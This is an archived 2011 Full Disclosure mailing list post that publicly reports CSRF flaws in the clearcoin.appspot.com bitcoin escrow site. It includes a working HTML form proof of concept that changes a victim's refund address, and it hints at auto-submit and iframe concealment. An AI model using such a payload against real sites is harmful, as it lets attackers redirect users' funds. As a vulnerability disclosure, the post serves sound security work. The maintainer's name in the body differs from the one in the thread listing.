Full Disclosure mailing list archives

Bitcoin fun day!

From: Doug Huff <dhuff () jrbobdobbs org>
Date: Sun, 19 Jun 2011 16:54:28 -0500

In light of recent events in the "bitcoin community" I have decided that private disclosure of issues is doing nothing 
but making them more prevalent.

In light of this decision I would like to report multiple CSRF vulnerabilities in http://clearcoin.appspot.com .

This set of CSRFs are particularly nasty since this is hosted on appspot and uses google account auth. So long as you 
stay logged into your google account you are vulnerable to this CSRF.

Things tested:
  Changing refund address.
  Releasing funds.

POC code (open this in any browser even from a local file):
==========
<html><head><title>test</title></head>
  <body>
  <form id="refund_address_form" action="https://clearcoin.appspot.com/set_refund_address"; method="POST"> 
      <label for="refund_address">Your bitcoin address:</label> 
      <input type="text" name="refund_address" id="refund_address" size="60" value="PUT ANY ADDRESS HERE"
             class="text ui-widget-content ui-corner-all" autofocus required placeholder="refund bitcoin address"/> 
(required)
  </form> 
  </body>
</html>
==========

Javascript auto submittal, hiding in an iframe, and other obfuscation methods are left as an exercise to the list.

This site is run and maintained by Gavin Anderson, aka, the lead bitcoin maintainer.

You should know better Gavin.

-- 
Douglas Huff

Attachment: smime.p7s
Description:

Attachment: PGP.sig
Description: This is a digitally signed message part

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread:

Bitcoin fun day! Doug Huff (Jun 20)
- Re: Bitcoin fun day! Doug Huff (Jun 20)
- Re: [Bitcoin-development] Bitcoin fun day! Gavin Andresen (Jun 20)
  - Re: [Bitcoin-development] Bitcoin fun day! Douglas Huff (Jun 20)